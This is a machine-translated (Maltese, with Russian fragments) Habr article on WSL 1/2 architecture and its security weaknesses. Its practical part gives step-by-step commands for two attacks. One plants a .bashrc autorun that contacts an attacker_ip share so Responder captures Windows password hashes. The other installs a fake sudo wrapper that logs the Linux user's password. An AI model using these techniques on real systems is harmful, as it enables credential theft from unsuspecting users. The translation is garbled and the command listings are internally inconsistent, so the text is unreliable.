Hello, habr! OTUS tniedi kors ġdid f'Ottubru
Fl-2016, Microsoft introduċiet it-teknoloġija l-ġdida WSL għall-komunità tal-IT (Wġewwa Subsistema għal Linux), li fil-futur għamilha possibbli li jingħaqdu kompetituri li qabel kienu irrikonċiljabbli li kienu qed jiġġieldu għall-popolarità kemm fost utenti ordinarji kif ukoll avvanzati tal-OS: Windows u Linux. Din it-teknoloġija għamlitha possibbli li jintużaw għodod Linux OS f'ambjent Windows mingħajr il-ħtieġa li titħaddem Linux, pereżempju, bl-użu ta 'Multi-boot. Fuq Habr tista’ ssib numru kbir ta’ artikli li jiddeskrivu l-benefiċċji tal-użu tal-WSL. Madankollu, sfortunatament, fiż-żmien tal-ħolqien ta 'dan l-artikolu, ma nstabu l-ebda studji dwar is-sigurtà ta' tali simbjożi ta 'sistemi operattivi fuq din ir-riżorsa. Din il-kariga se tkun tentattiv biex tikkoreġi dan. L-artiklu se jitkellem dwar il-karatteristiċi tal-arkitetturi WSL 1 u 2 u jeżamina diversi eżempji ta 'attakki fuq sistemi li jużaw dawn it-teknoloġiji. L-artikolu huwa maqsum f'2 partijiet. L-ewwel se jipprovdi l-metodi ta 'attakk teoretiku prinċipali minn Linux u Windows. It-tieni artikolu se jinvolvi t-twaqqif ta 'ambjent tat-test u r-riproduzzjoni tal-attakki.
WSL 1: karatteristiċi arkitettoniċi
Għall-għaddasa l-aktar preċiża fi kwistjonijiet ta 'sigurtà WSL, huwa meħtieġ li jiġu ddeterminati l-sfumaturi ewlenin assoċjati mal-implimentazzjoni tas-subsistema. Waħda mill-kompiti ewlenin tal-utent solvuti minn WSL hija l-abbiltà li taħdem permezz ta 'terminal Linux fuq host li jħaddem Windows OS. Ukoll, il-kompatibilità offruta kienet tant indiġena li l-eżekutibbli Linux (ELFs) setgħu jitħaddmu direttament fuq sistema Windows. Biex jintlaħqu dawn l-għanijiet, inħolqot subsistema speċjali fil-Windows 10 li tippermettilek tħaddem applikazzjonijiet Linux billi tuża sett ta 'sejħiet ta' sistema speċifiċi - għalhekk, sar tentattiv biex jiġi mmappjat sett ta 'syscalls Linux fuq Windows. Dan ġie implimentat fiżikament billi żdiedu sewwieqa ġodda u format ta 'proċess ġdid. Viżwalment l-arkitettura dehret hekk:
Fil-fatt, l-interazzjoni mas-sistema operattiva Linux kienet organizzata permezz ta 'diversi moduli tal-kernel u tip speċjali ta' proċess - pico. Mid-dijagramma ta 'hawn fuq, tista' tara li l-proċess li jaħdem fuq l-istanza Linux fuq il-host irid ikun indiġenu u għandu juża l-istess riżorsi bħall-applikazzjonijiet regolari tal-Windows. Imma kif tikseb dan? Fil-proġett
Innota li l-estrazzjoni proposta għamilha possibbli li ma tiffokax fuq is-sistema operattiva (b'mod partikolari, Windows), li fiha l-proċess ta 'OS ieħor huwa mistenni li jitnieda, u ssuġġeriet approċċ ġenerali.
Għalhekk, kwalunkwe applikazzjoni fil-proċess pico tista 'taħdem mingħajr ma tqis il-kernel tal-Windows:
- Problemi ta' kompatibilità u traduzzjoni tas-sejħiet tas-sistema għandhom jiġu solvuti minn fornituri speċjali;
- Il-kontroll tal-aċċess għandu jsir permezz tal-Monitor tas-Sigurtà. Il-monitor jinsab fil-kernel u għalhekk Windows kellu bżonn aġġornament fil-forma ta 'sewwieq ġdid li jista' jaġixxi bħala fornitur għal proċessi bħal dawn. Il-proċess pico prototip huwa ppreżentat b'mod skematiku hawn taħt:
Peress li s-sistema tal-fajls Linux tuża ismijiet ta' fajls u direttorji sensittivi għall-każi, 2 tipi ta' sistemi ta' fajls ġew miżjuda mal-Windows biex jaħdmu ma' WSL - VolFS u DriveFS. VolFS hija implimentazzjoni tas-sistema tal-fajls Linux, DriveFS hija sistema ta 'fajls li taħdem skont ir-regoli tal-Windows, iżda għandha l-abbiltà li tagħżel is-sensittività tal-każ.
WSL 2
WSL 1 kellu numru ta 'limitazzjonijiet li ma ppermettewx li jintuża biex issolvi l-firxa massima ta' kompiti: pereżempju, ma kellux il-kapaċità li jħaddem applikazzjonijiet Linux 32-bit, u kien impossibbli li tuża sewwieqa tal-apparat. Għalhekk, fl-2020, ġiet rilaxxata WSL 2, li biddel l-approċċ għall-bini tas-subsistema. WSL 2 hija magna virtwali ottimizzata li taqbel mal-karatteristiċi tal-konsum tar-riżorsi ta 'WSL 1. Issa, skont il-problemi solvuti mill-utent tal-Windows OS, tista 'tagħżel il-verżjoni meħtieġa tas-subsistema Linux. Biex itaffu l-vulnerabbiltajiet possibbli, WSL 2 ġie implimentat ibbażat fuq Hyper-V fil-Windows 10. F'din il-forma, Windows għandu l-abbiltà li jħaddem il-kernel tas-sistema operattiva Linux b'mod iżolat. Ta’ min ifakkar li l-verżjoni 1 tal-WSL ġiet introdotta bħala karatteristika beta li suppost kellha turi d-direzzjoni tal-iżvilupp tal-Windows f’dan il-qasam, għalhekk it-tranżizzjoni għal Hyper-V kienet inevitabbli. L-arkitettura finali tidher bħal din:
F'din il-verżjoni, il-kernels tal-Windows u tal-Linux għandhom ir-riżorsi tagħhom stess u l-intersezzjoni teżisti biss fis-sistema tal-fajls, iżda din l-intersezzjoni mhix kompluta. L-interazzjoni bejn is-sistemi ta 'fajls titwettaq permezz ta' wrapper klijent-server li jaħdem bl-użu tal-protokoll 9P.
Illum Microsoft tipprovdi l-abbiltà li taqleb bejn WSL 1 u WSL 2. Iż-żewġ verżjonijiet huma disponibbli għall-użu.
Sigurtà WSL
Bħalissa, hemm diversi xogħlijiet li jiddeskrivu xi approċċi għall-użu ta 'għodod OS leġittimi biex jattakkaw il-komunikazzjoni bejn is-sottosistemi. Se nużaw l-iskripts tagħhom biex niċċekkjaw ir-rilevanza tal-attakki fil-ħin tal-kitba. Lista ġenerali ta' attakki u xenarji:
1. Implimentazzjoni tas-sistema tal-fajls: drittijiet ta' aċċess, disponibbiltà ta' direttorji kondiviżi/mekkaniżmi ta' skambju ta' data.
Saret riċerka biex tiddetermina ksur tar-regoli ta 'aċċess minn Linux FS->Windows FS, Windows FS->Linux FS. Ir-riċerka wriet il-kapaċità li timmodifika fajl partikolari fi ħdan l-OS fil-mira. Saru wkoll tentattivi biex jiġu sostitwiti, jinħolqu duplikati u titħassar parti mis-sistemi tal-fajls.
Xenarju:
- A. Attakk mis-sistema operattiva Windows - modifika tal-fajls mid-direttorju /etc tal-Linux OS.
- B. Attakk mis-sistema operattiva Linux - modifika tal-fajls fid-direttorji:
C:Windows
,C:Program Files
,C:Users<User>
2. Implimentazzjoni tal-munzell tan-netwerk.
Ir-riċerka twettqet bl-użu ta’ eżempji ta’ attakki mis-sistema operattiva Linux fuq il-Windows. Intużaw il-karatteristiċi tal-munzell tan-netwerk, jiġifieri, mekkaniżmi ta 'awtentikazzjoni fuq diversi riżorsi.
Xenarju:
- Ftuħ aċċess għal port li huwa okkupat fuq sistema Windows
- Ftuħ port mingħajr id-drittijiet xierqa
- Running reverse shell bl-użu ta 'elf file fuq sistema operattiva Windows.
3. Ħabi tat-tnedija ta 'proċessi ta' softwer malizzjuż bl-użu tas-subsistema WSL.
Ir-riċerka kienet ibbażata fuq fatt sempliċi - is-sottosistemi tas-sigurtà ma jistgħux jinterċettaw avvenimenti f'kernel ieħor li jaħdem bl-użu ta 'fornitur leġittimu mis-sistema operattiva fil-każ ta' WSL 1. Fil-każ ta 'WSL 2, m'hemm l-ebda mod biex tara avvenimenti li jseħħu. f'qalba separata fi ħdan magna virtwali ħafifa.
Xenarju:
1) Ibda l-applikazzjoni għal aċċess mill-bogħod għas-sistema u ara l-avvenimenti illoggjati.
Esperimenti WSL 1: interċettazzjoni tal-hash (Windows)
Fl-aħħar wasalna għall-parti prattika. L-ewwel, għandek bżonn twaqqaf l-ambjent tat-test. L-esperimenti kollha se jsiru fuq bank bil-Windows 10 2004 installat. L-immaġni Ubuntu 18.04 intgħażlet bħala l-immaġni tas-sistema operattiva għal WSL. L-immaġni ntgħażlet bl-addoċċ, u kwalunkwe oħra taħdem l-istess. Kmandi għat-twaqqif ta' stand:
L-ewwel trid tniedi powershell.exe
bħala amministratur.
Għal WSL 1 għandek bżonn tmexxi l-kmandi:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Wara li terġa 'tibda l-istand, tista' ċċempel il-kmand tal-bash. Jekk kollox ħadem sew, se tara output simili għal dan fil-console tal-Windows:
Se nużaw id-distribuzzjoni Kali Linux bħala l-magna tal-attakkant; il-magni kollha għandhom ikunu fuq l-istess netwerk lokali.
Ejja nassumu li għandna aċċess mhux privileġġjat għall-WSL fuq magna Windows. Ejja nippruvaw nattakkaw is-sistema operattiva Linux billi nsejħu kmand minn Linux. Biex nimplimentaw l-attakk, se nużaw teknika awtorun sempliċi - se nżidu l-iskript tagħna għall-eżekuzzjoni fl-ambjent Linux. Biex tagħmel dan għandek bżonn tibdel il-fajl .bashrc
.
Fuq magna bil-WSL aħna nwettqu:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Fuq magna Kali Linux aħna nħaddmu:
1. Responder -I eth0 -rdvw
Fuq magna Windows, ejja tniedi bash.
Qed nistennew ir-riżultat fuq il-magna Kali Linux:
Għalhekk, ksibna l-hashes tal-utent tal-Windows permezz tas-subsistema WSL billi wettaq il-kmand fuq is-sistema Linux.
Esperimenti WSL 1: il-kisba tal-password tal-utent (Linux OS)
Ejja nagħmlu esperiment ieħor. Matul din il-verifika aħna se nżidu mal-fajl .bashrc
diversi kmandi sabiex tikseb il-password tal-utent tas-sistema operattiva Linux.
Ejja nniedu bash u daħħal il-kmandi:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Biex itemm l-attakk b'suċċess, l-utent Sam jeħtieġ li jsejjaħ sudo fit-terminal tal-Linux. Wara dan, il-password tal-utent tal-Linux OS se tkun fil-fajl pass.txt
:
L-implimentazzjoni tal-attakki ngħatat għal informazzjoni teoretika biss.
Il-parti li jmiss tal-artikolu se tiddeskrivi l-implimentazzjoni tal-protokoll 9P, tikkunsidra l-ħolqien ta 'skaner għal dan il-protokoll, u twettaq ukoll attakk bl-użu tiegħu.
Lista ta 'letteratura użata
Aqra iktar
Sors: www.habr.com